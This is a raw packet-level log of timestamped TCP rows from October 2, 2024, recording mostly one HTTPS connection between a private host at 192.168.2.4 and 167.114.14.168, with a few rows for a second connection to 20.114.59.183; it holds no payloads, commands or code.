Oct 2, 2024 06:10:16.017945051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.017975092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.018091917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.018107891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.018148899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.018152952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.018177986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.018191099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023016930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023034096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023081064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023087025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023097038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023124933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023277044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023293018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023339033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023344040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023370981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023390055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023611069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023631096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023682117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023686886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023715973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023722887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.023947001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.023961067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.024005890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.024012089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.024035931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.024046898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.024250031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.024264097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.024303913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.024310112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.024333000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.024354935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.032601118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.032623053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.032669067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.032675028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.032701015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.032721996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.108314037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.108333111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.108453035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.108462095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.108510017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.108597994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.108613968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.108658075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.108661890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.108688116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.108704090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.115906954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.115926027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.115993977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116000891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116044044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116177082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116194963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116234064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116238117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116252899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116274118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116358995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116375923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116429090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116432905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116453886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116467953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116694927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116712093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116751909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116755962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.116785049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.116811991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.117013931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.117027998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.117070913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.117074966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.117098093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.117125034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.132107019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.132122993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.132246971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.132252932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.132293940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.275741100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.275763988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.275880098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.275902987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.275985956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.276005030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.276051044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.276058912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.276072025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.276103973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.277194023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277209044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277281046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.277287960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277506113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277530909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277565956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.277571917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277599096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.277627945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.277766943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277781010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.277832031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.277837992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.278135061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.278222084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.278237104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.278285027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.278291941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.278513908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.278529882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.278562069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.278568983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.278598070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.278620958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.365020990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.365039110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.365122080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.365137100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.365319967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.366530895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.366545916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.366600990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.366606951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.367243052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.367893934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.367909908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.367995977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.368001938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.368163109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.368406057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.368423939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.368463039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.368468046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.368495941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.368510008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.368876934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.368891001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.368948936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.368952990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.369008064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.369193077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.369208097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.369260073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.369265079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.369288921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.369312048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.369584084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.369599104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.369664907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.369668961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.369771957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.370042086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.370058060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.370093107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.370098114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.370135069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.370204926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.455771923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.455790997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.455871105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.455878973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.455920935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.457184076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.457209110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.457256079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.457259893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.457289934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.457300901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.458755970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.458772898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.458831072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.458836079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459033966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.459193945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459212065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459283113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.459291935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459553957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.459570885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459588051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459619045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.459623098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459649086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.459666967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.459867954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459883928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.459944963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.459949017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.460437059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.460457087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.460516930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.460522890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.460720062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.460753918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.460769892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.460808992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.460813999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.460840940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.460860968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.546920061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.546941042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.546982050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.546991110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.547028065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.547096014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.548366070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.548382998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.548428059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.548438072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.548485994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.549563885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.549581051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.549638033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.549643993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.549865007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.549871922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.549875975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.549901962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.549902916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.549930096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.549933910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.549947023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.550026894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.550307035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.550323963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.550369978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.550374985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.550904989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.550924063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.550980091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.550986052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.550997019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.551018953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.551198959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.551213980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.551246881 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.551253080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.551276922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.551295042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.551676035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.551692009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.551729918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.551734924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.551759958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.551773071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.568602085 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:16.568675041 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:16.568708897 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:16.568727970 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:16.637480021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.637499094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.637557030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.637573004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.637587070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.637686968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.639005899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.639023066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.639075994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.639082909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.639106035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.639112949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.640299082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.640314102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.640362024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.640368938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.640568972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.640677929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.640693903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.640727997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.640733004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.640755892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.640767097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.641031027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641047955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641094923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.641099930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641129971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.641151905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.641413927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641429901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641489029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.641494036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641537905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.641875029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641890049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.641983986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.641988993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.642035007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.642165899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.642183065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.642221928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.642226934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.642244101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.642258883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.728247881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.728265047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.728351116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.728362083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.728708029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.729577065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.729592085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.729651928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.729655981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.729778051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.730909109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.730922937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.730974913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.730979919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.731100082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.731306076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.731321096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.731379986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.731389999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.731765032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.731782913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.731829882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.731836081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.731858969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.731884956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732291937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732306957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:16.732357979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:16.732363939 CEST	443	49744	167.114.14.168	192.168.2.4
